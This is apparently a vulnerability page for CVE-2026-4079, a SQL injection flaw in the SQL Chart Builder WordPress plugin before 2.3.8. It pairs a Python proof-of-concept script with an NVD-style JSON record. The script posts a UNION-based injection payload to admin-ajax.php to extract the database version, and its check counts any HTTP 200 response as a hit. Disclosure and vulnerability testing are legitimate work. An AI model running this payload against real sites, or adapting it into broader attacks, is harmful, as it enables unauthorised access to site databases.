CVE-2026-4079

# PoC for CVE-2026-4079 # This script demonstrates the SQL Injection vulnerability in SQL Chart Builder < 2.3.8 import requests def check_vulnerability(target_url): # The endpoint responsible for dynamic filtering (example path) url = f"{target_url}/wp-admin/admin-ajax.php" # Malicious payload to test SQL Injection (extracting database version) # Using a UNION-based injection payload as an example payload = "1' UNION SELECT 1, 2, version(), 4, 5, 6, 7, 8, 9-- -" # Data parameters typically sent to the plugin data = { "action": "sql_chart_builder_filter", "chart_id": payload } try: response = requests.post(url, data=data, timeout=10) # Check if the response contains database version indicators (e.g., 'mysql', '5.7') if "mysql" in response.text.lower() or response.status_code == 200: print(f"[+] Potential SQL Injection detected at {target_url}") print(f"[+] Response snippet: {response.text[:200]}") else: print("[-] Target does not appear vulnerable or payload incorrect.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)

{"cve": {"id": "CVE-2026-4079", "sourceIdentifier": "[email protected]", "published": "2026-04-07T07:16:23.927", "lastModified": "2026-04-09T19:51:34.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SQL Chart Builder WordPress plugin before 2.3.8 does not properly escape user input as it is concatened to SQL queries, making it possible for attackers to conduct SQL Injection attacks against the dynamic filter functionality."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:guaven:sql_chart_builder:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "2.3.8", "matchCriteriaId": "38479966-A060-4B1F-8681-D6866D5B9C76"}]}]}], "references": [{"url": "https://wpscan.com/vulnerability/8ec92881-4ae5-458d-995b-f097f2bcc590/", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}